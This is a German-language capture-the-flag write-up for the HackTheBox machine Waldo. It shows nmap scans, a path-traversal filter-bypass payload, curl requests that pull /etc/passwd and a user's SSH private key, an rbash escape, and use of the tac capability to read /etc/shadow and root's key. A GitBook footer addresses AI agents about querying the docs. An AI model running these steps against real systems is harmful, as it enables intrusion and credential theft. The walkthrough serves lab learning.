> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/waldo-hackthebox-writeup.md).

# Waldo-HackTheBox-Lösung

{% embed url="<https://app.hackthebox.com/machines/Waldo>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* LFI (Local File Inclusion) - Umgehung des Filters
* Beschaffung des SSH-Privatschlüssels eines Benutzers über das LFI
* Aus einem Container ausbrechen
* Umgehung der eingeschränkten Shell
* Missbrauch von Capabilities (cap\_dac\_read\_search+ei) (Privilegieneskalation)
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/2690ea561d2cf34b80dfc9fd8c6cf428a6e13e84" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/12fe9379e185444d4e1640298dd9171948eaef0e" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.87 -oG allPorts
```

<figure><img src="/files/7ab18baf51f378af5b02502b69156364f80fd41e" alt=""><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap 22,80:**

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,80 10.10.10.87 -oN targeted 
```

<figure><img src="/files/b48ab2fd5fdc6073b3eb35ad0f45ba053c8a91cc" alt=""><figcaption></figcaption></figure>

## Ausnutzung von Port 80

<figure><img src="/files/7194dff359dac0f19cfbeb8a73f2396889f60f8f" alt=""><figcaption></figcaption></figure>

#### Abfangen mit Burp Suite

Wir analysieren Anfragen und identifizieren eine Schwachstelle **LFI** (Einbindung lokaler Dateien).

<figure><img src="/files/2d876960690b982b21eac2f21410014fbbfa759c" alt=""><figcaption></figcaption></figure>

### Einfacher LFI-Test

Wir versuchen zuzugreifen `/etc/passwd`:

```
../../../../etc/passwd
```

Das funktioniert nicht.

<figure><img src="/files/f6b9003eac8f3726a3c7d47878fdbfbcc5cc25fc" alt=""><figcaption></figcaption></figure>

### LFI-Filterumgehung

Wir testen eine Umgehung mit

```
....//....//../....//..//....//etc/passwd
```

Diese Umgehung funktioniert, und wir können nun die `/etc/passwd` vorhandenen Benutzern.

<figure><img src="/files/6e295373a43f3f130503e55d4b08b3ffc0e9285b" alt=""><figcaption></figcaption></figure>

#### Dateiextraktion mit Curl

Wir verwenden `curl` um die Datei über den verwundbaren Endpunkt abzurufen:

{% code overflow="wrap" %}

```bash
curl -s -X POST http://10.10.10.87/fileRead.php -d "file=....//....//../....//..//....//etc/passwd" | jq -r '.file'
```

{% endcode %}

Wir finden den Benutzer **nobody**.

<figure><img src="/files/4948720b229deef5aefacd362a1668792b9f6984" alt=""><figcaption></figcaption></figure>

### Zugriff auf das `.ssh` Verzeichnis von nobody

Wir fangen die Anfrage von der `list.html` Seite ab und stellen fest, dass die `Pfad` Variable verwendet wird, um Dateien abzurufen.

<figure><img src="/files/aa34da35b8b526c791d163e8193d6dabd16576c1" alt=""><figcaption></figcaption></figure>

Wir untersuchen das Home-Verzeichnis von `nobody`:

```
....//....//../....//..//....//home/nobody/.ssh/
```

<figure><img src="/files/3ab47c5142cd98309eaa2f8bbc90124ca673bcf9" alt=""><figcaption></figcaption></figure>

Wir finden einen `.monitor` vorhandenen Benutzern.

#### Extraktion des SSH-Privatschlüssels

{% code overflow="wrap" %}

```bash
curl -s -X POST http://10.10.10.87/fileRead.php -d "file=....//....//../....//..//....//home/nobody/.ssh/.monitor" | jq -r '.file'
```

{% endcode %}

Wir erhalten einen privaten Schlüssel.

<figure><img src="/files/10a7d77cf8f153e7e50c5d405c422aee70057c0f" alt=""><figcaption></figcaption></figure>

#### SSH-Verbindung zu nobody

Wir verbinden uns mit dem wiederhergestellten Schlüssel:

```bash
ssh nobody@10.10.10.87 -i id_rsa
```

<figure><img src="/files/93d9a8b56170f75d6df5200f33f4694dcd34c4da" alt=""><figcaption></figcaption></figure>

### Flagge user.txt :)

<figure><img src="/files/1d85034e16670cf4b0213f69bac65a22391e6869" alt="" width="499"><figcaption></figcaption></figure>

## Pivoting zum Benutzer operator

Wir identifizieren einen Benutzer `Operator`

<figure><img src="/files/7f3d06e50ce53582872ca7c931ccff46c6cf2e1d" alt=""><figcaption></figcaption></figure>

Wir finden einen `authorized_keys` Datei, die zu `monitor`.

<figure><img src="/files/1c48c221c23f2fc47567d804bb672ba3b5d2bb8c" alt=""><figcaption></figcaption></figure>

#### SSH-Verbindung zu monitor

```bash
ssh monitor@127.0.0.1 -i .monitor
```

Wir befinden uns in einer kleinen Shell (`rbash`).

<figure><img src="/files/bb462b7c81b2636f33ab8773899a0029334d2f6f" alt=""><figcaption></figcaption></figure>

### Umgehung der eingeschränkten Shell

Wir starten eine SSH-Sitzung, indem wir angeben `bash`:

```bash
ssh monitor@127.0.0.1 -i .monitor "bash --noprofile"
```

<figure><img src="/files/f3d71c237f0f0fccbaf019e2ffe4dd5738fba807" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation

### Capabilities- Tac

Wir listen Dateien mit bestimmten Capabilities auf:

```bash
getcap -r / 2>/dev/null
```

Wir stellen fest, dass **tac** die `cap_dac_read_search+ei` Berechtigung hat:

<figure><img src="/files/4420d5ba6f5c479e4a296713684053c532732441" alt=""><figcaption></figcaption></figure>

#### Tac-Operation zum Lesen geschützter Dateien

Das `tac` Befehl (das Gegenteil von `cat`) ermöglicht es uns, die Dateien durch Umkehrung ihres Inhalts zu lesen.

```bash
tac /etc/shadow
```

<figure><img src="/files/d8fe7b3fab70d7f18118ebcd5e2ec1942e0c7248" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

**root.txt-Flag lesen**

```bash
tac /root/root.txt | tac
```

<figure><img src="/files/9acedc2ab45e8b7b4126c56053cd611f40a3f4e0" alt="" width="545"><figcaption></figcaption></figure>

**Wiederherstellung des SSH-Root-Schlüssels**

```bash
/usr/bin/tac | /root/.ssh/id_rsa | /usr/bin/tac
```

<figure><img src="/files/43181ebd4302fa703650ec2eb4592f6fa12fb27e" alt="" width="399"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/waldo-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
